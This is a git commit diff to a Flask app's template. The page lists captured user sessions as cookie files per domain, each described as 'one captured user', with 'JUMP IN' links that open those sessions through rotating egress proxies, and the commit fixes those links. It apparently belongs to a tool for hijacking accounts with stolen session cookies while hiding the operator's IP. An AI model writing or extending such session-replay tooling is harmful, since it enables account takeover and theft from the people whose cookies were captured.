v8: fix dead JUMP button (plain links + JS dropdown rewrite), always-screenshot on success OR failure
This commit is contained in:
24
app.py
24
app.py
@@ -395,16 +395,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||
<main>
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
||||
<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||
<div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||
<span class=muted>egress:</span>
|
||||
<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||
<select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||
<option value=rotate>🎬 rotate (sticky per user)</option>
|
||||
{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %}
|
||||
<option value="{{ip}}">{{n}} ({{ip}})</option>
|
||||
{% endfor %}
|
||||
<option value="10.30.20.154">Tokyo</option>
|
||||
<option value="10.30.20.71">London</option>
|
||||
<option value="10.30.20.189">Sydney</option>
|
||||
<option value=direct>direct (home IP)</option>
|
||||
</select>
|
||||
</form>
|
||||
</div>
|
||||
<table>
|
||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
||||
{% for s in sess %}
|
||||
@@ -412,12 +412,18 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
||||
<td><b>{{s[0]}}</b></td>
|
||||
<td>{{s[1]}}</td>
|
||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||
<td><button formaction="/open" formmethod="get" name="_" value="_" type="submit"
|
||||
onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
|
||||
class="btn green" style="border:0">JUMP IN →</button></td>
|
||||
<td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN →</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
<script>
|
||||
document.getElementById('px').addEventListener('change', function(){
|
||||
const p = this.value;
|
||||
document.querySelectorAll('a.jump').forEach(a => {
|
||||
a.href = a.href.replace(/&proxy=[^&]*/, '') + '&proxy=' + encodeURIComponent(p);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</main></body></html>"""
|
||||
|
||||
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
|
||||
|
||||
Reference in New Issue
Block a user